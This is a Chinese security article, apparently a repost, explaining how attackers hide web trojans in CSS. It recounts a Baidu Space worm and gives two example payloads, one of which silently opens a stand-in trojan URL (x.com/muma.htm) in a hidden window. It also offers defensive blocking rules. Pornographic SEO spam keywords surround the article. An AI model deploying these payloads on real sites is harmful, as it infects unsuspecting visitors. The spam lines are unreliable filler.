a亚洲精品_精品国产91乱码一区二区三区_亚洲精品在线免费观看视频_欧美日韩亚洲国产综合_久久久久久久久久久成人_在线区

首頁 > 網(wǎng)站 > 網(wǎng)站安全 > 正文

你知道嗎?CSS樣式表也能掛網(wǎng)頁木馬

2024-09-06 18:38:36
字體:
供稿:網(wǎng)友

 隨著web2.0的普及,各種網(wǎng)頁特效用得越來越多,這也給黑客一個(gè)可乘之機(jī)。他們發(fā)現(xiàn),用來制作網(wǎng)頁特效的css代碼,也可以用來掛馬。而比較諷刺的是,css掛馬方式其實(shí)是從防范iframe掛馬的css代碼演變而來。

  安天實(shí)驗(yàn)室阿楠:安全工程師,從事病毒分析多年。

  網(wǎng)站掛馬的手段最初非常單一,但是隨著web2.0技術(shù)以及blog、wiki等廣泛的應(yīng)用,掛馬也涌現(xiàn)出各種各樣的技術(shù),其中css掛馬方式,可以說是web2.0時(shí)代黑客的最愛。有許多非常著名的網(wǎng)站都被黑客用css掛馬入侵過。

  在我印象中,記憶最深刻的一次是百度空間css掛馬。當(dāng)時(shí),百度空間推出沒有多久,就有許多百度用戶收到了類似“哈,節(jié)日快樂呀!熱烈慶祝2008,心情好好,記住要想我!http://hi.baidu.com/xxxxx”的站內(nèi)消息。

  由于網(wǎng)址是百度空間的網(wǎng)址,許多用戶認(rèn)為不會存在安全問題,加上又有可能是自己朋友發(fā)來的,因此會毫不猶豫地點(diǎn)擊進(jìn)入。但是進(jìn)入指定的網(wǎng)址后,用戶就會感染蠕蟲病毒,并繼續(xù)傳播。

  由于蠕蟲擴(kuò)散非常嚴(yán)重,最終導(dǎo)致百度空間不得不發(fā)布官方聲明提醒用戶,并且大費(fèi)周折地在服務(wù)器中清除蠕蟲的惡意代碼。那一次的掛馬事件利用的就是百度空間css模板功能,通過變形的expression在css代碼中動態(tài)執(zhí)行腳本,讓指定的遠(yuǎn)程惡意代碼文件在后臺悄悄運(yùn)行并發(fā)送大量偽造信息。

  我建議大家在點(diǎn)擊陌生鏈接時(shí),要多個(gè)心眼,大網(wǎng)站也是可能被掛馬的。大家在上網(wǎng)時(shí),最好還是使用一些帶網(wǎng)頁木馬攔截功能的安全輔助工具。

  黑客為什么選擇css掛馬?

  在web1.0時(shí)代,使用iframe掛馬對于黑客而言,與其說是為了更好地實(shí)現(xiàn)木馬的隱藏,倒不如說是無可奈何的一個(gè)選擇。在簡單的html網(wǎng)頁和缺乏交互性的網(wǎng)站中,黑客可以利用的手段也非常有限,即使采取了復(fù)雜的偽裝,也很容易被識破,還不如iframe來得直接和有效。

  但如今交互式的web2.0網(wǎng)站越來越多,允許用戶設(shè)置與修改的博客、sns社區(qū)等紛紛出現(xiàn)。這些互動性非常強(qiáng)的社區(qū)和博客中,往往會提供豐富的功能,并且會允許用戶使用css層疊樣式表來對網(wǎng)站的網(wǎng)頁進(jìn)行自由的修改,這促使了css掛馬流行。

  小百科:css是層疊樣式表(cascading style sheets)的英文縮寫。css最主要的目的是將文件的結(jié)構(gòu)(用html或其他相關(guān)語言寫的)與文件的顯示分隔開來。這個(gè)分隔可以讓文件的可讀性得到加強(qiáng)、文件的結(jié)構(gòu)更加靈活。

  黑客在利用css掛馬時(shí),往往是借著網(wǎng)民對某些大網(wǎng)站的信任,將css惡意代碼掛到博客或者其他支持css的網(wǎng)頁中,當(dāng)網(wǎng)民在訪問該網(wǎng)頁時(shí)惡意代碼就會執(zhí)行。這就如同你去一家知名且證照齊全的大醫(yī)院看病,你非常信任醫(yī)院,但是你所看的門診卻已經(jīng)被庸醫(yī)外包了下來,并且打著醫(yī)院的名義利用你的信任成功欺騙了你。但是當(dāng)你事后去找人算賬時(shí),醫(yī)院此時(shí)也往往一臉無辜。對于安全工程師而言,css掛馬的排查是必備常識。

  css掛馬攻防實(shí)錄

  攻css掛馬方式較多,但主流的方式是通過有漏洞的博客或者sns社交網(wǎng)站系統(tǒng),將惡意的css代碼寫入支持css功能的個(gè)性化頁面中。下面我們以典型的css掛馬方式為例進(jìn)行講解。

  方式1:

  body{
  background-image: url('javascript:document.write("")')
  }

  “background-image”在css中的主要功能是用來定義頁面的背景圖片。這是最典型的css掛馬方式,這段惡意代碼主要是通過“background-image”配合javascript代碼讓網(wǎng)頁木馬悄悄地在用戶的電腦中運(yùn)行。

  那如何將這段css惡意代碼掛到正常的網(wǎng)頁中去呢?黑客可以將生成好的網(wǎng)頁木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網(wǎng)站的網(wǎng)頁中,或者掛馬網(wǎng)頁所調(diào)用的css文件中。

  小百科:使用body對象元素,主要是為了讓對象不再改變整個(gè)網(wǎng)頁文檔的內(nèi)容,通過body對象的控制,可以將內(nèi)容或者效果控制在指定的大小內(nèi),如同使用div對象那樣精確地設(shè)置大小。

  方式2:

  body{
  background-image: url(javascript:open(' http://www.x.com/muma.htm ','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
  }

  方式1的css掛馬技術(shù),在運(yùn)行時(shí)會出現(xiàn)空白的頁面,影響網(wǎng)頁訪問者正常的訪問,因此比較容易發(fā)現(xiàn)。不過在方式2中的這段代碼,使用了javascript的open開窗,通過新開一個(gè)隱藏的窗口,在后臺悄悄地運(yùn)行新窗口并激活訪問網(wǎng)頁溢出木馬頁面,不會影響訪問者觀看網(wǎng)頁內(nèi)容,因此更加隱蔽。

  防網(wǎng)絡(luò)服務(wù)器被掛馬,通常會出現(xiàn)防病毒軟件告警之類的信息。由于漏洞不斷更新,掛馬種類時(shí)刻都在變換,通過客戶端的反映來發(fā)現(xiàn)服務(wù)器是否被掛馬往往疏漏較大。正確的做法是經(jīng)常檢查服務(wù)器日志,發(fā)現(xiàn)異常信息,經(jīng)常檢查網(wǎng)站代碼,使用網(wǎng)頁木馬檢測系統(tǒng),進(jìn)行排查。

  目前除了使用以前的阻斷彈出窗口防范css掛馬之外,還可以在網(wǎng)頁中設(shè)置css過濾,將css過濾掉。不過如果你選擇過濾css的話,首先需要留意自己的相關(guān)網(wǎng)頁是否有css的內(nèi)容,因此我們?nèi)匀皇淄朴米钄喾绞絹矸婪禼ss。阻斷代碼如下所示:

  iframe{miao1:expression(this.src='about:blank',this.outerhtml='');}
  script{miao2:expression(if(this.src.indexof('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

  將外域的木馬代碼的src重寫成本地ie404錯誤頁面的地址,這樣,外域的javascript代碼不會被下載。不過阻斷方式也有天生致命的弱點(diǎn),弱點(diǎn)的秘密我們將于下次揭曉。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 欧美寡妇偷汉性猛交 | 91亚洲国产成人久久精品网站 | 黄色一级电影 | 久久人| 看真人视频a级毛片 | 国产日韩视频在线播放 | 精品视频久久 | 看片国产| 日韩精品一区二区三区在线播放 | 荡女妇边被c边呻吟视频 | 久久av一区二区三区 | 国产精品久久 | 国产精品一区二区三区久久 | 97超碰人人 | 午夜精品视频在线观看 | 国产探花在线观看 | 日韩精品极品视频在线 | 国产综合久久久 | 色婷婷av一区二区三区软件 | 黑人另类 | 欧美在线视频一区二区 | 欧美1级| 国产精品二区三区 | www.99久| 国产一区二区三区在线免费观看 | 久久久精彩视频 | 麻豆freexxxx性91精品 | 国产精品视频一二三区 | www.啪啪| 超碰人人99 | 欧美一级黄色大片 | 日韩福利在线观看 | 国产成人精品一区二区仙踪林 | 午夜私人福利 | www.久久伊人| 久久人爽| 国产精品欧美久久久久一区二区 | 亚洲综合第一页 | 日韩在线观看网站 | 成人免费视频网站在线观看 | 成人天堂噜噜噜 |